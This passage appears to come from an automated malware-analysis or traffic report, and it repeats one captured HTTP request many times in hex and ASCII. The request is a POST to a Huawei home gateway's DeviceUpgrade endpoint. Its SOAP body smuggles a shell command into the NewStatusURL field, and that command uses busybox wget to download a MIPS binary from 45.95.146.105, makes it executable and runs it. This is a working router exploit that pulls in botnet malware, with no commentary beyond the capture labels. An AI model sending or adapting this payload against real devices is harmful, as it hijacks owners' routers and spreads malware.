29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
